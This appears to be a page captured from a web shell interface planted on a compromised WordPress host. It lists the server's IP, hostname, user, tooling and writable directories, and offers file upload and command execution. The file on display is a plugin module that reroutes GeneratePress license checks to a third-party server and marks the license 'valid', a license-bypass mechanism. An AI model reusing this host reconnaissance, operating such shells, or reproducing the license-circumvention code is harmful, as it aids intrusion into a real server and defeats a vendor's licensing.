$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/gp-premium.php
<?php
/**
 * GP Premium module.
 *
 * Redirects EDD license API calls to GLS3 and manages license data.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * GP Premium license module.
 */
class Gp_Premium extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'gp-premium';
		$this->name        = 'GP Premium';
		$this->description = 'Manages GP Premium license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'gp-premium',
			'plugin_file' => 'gp-premium.php',
		);
		$this->target_id   = '1445988566';

		$this->blocked_domains = array(
			'://generatepress.com/' => self::edd_sl_block(),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create(
			'https://generatepress.com',
			HELLOPACK_GLS3_URL . '/gp-premium'
		);

		$this->setup_license();
	}

	/**
	 * Set up license data.
	 */
	private function setup_license(): void {
		$token = Options::get( 'token' );
		if ( empty( $token ) ) {
			return;
		}

		hellopack_ensure_option( 'gen_premium_license_key', (string) $token );
		hellopack_ensure_option( 'gen_premium_license_key_status', 'valid' );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		update_option( 'gen_premium_license_key_status', 'invalid' );
		hellopack_delete_option( 'gen_premium_license_key' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit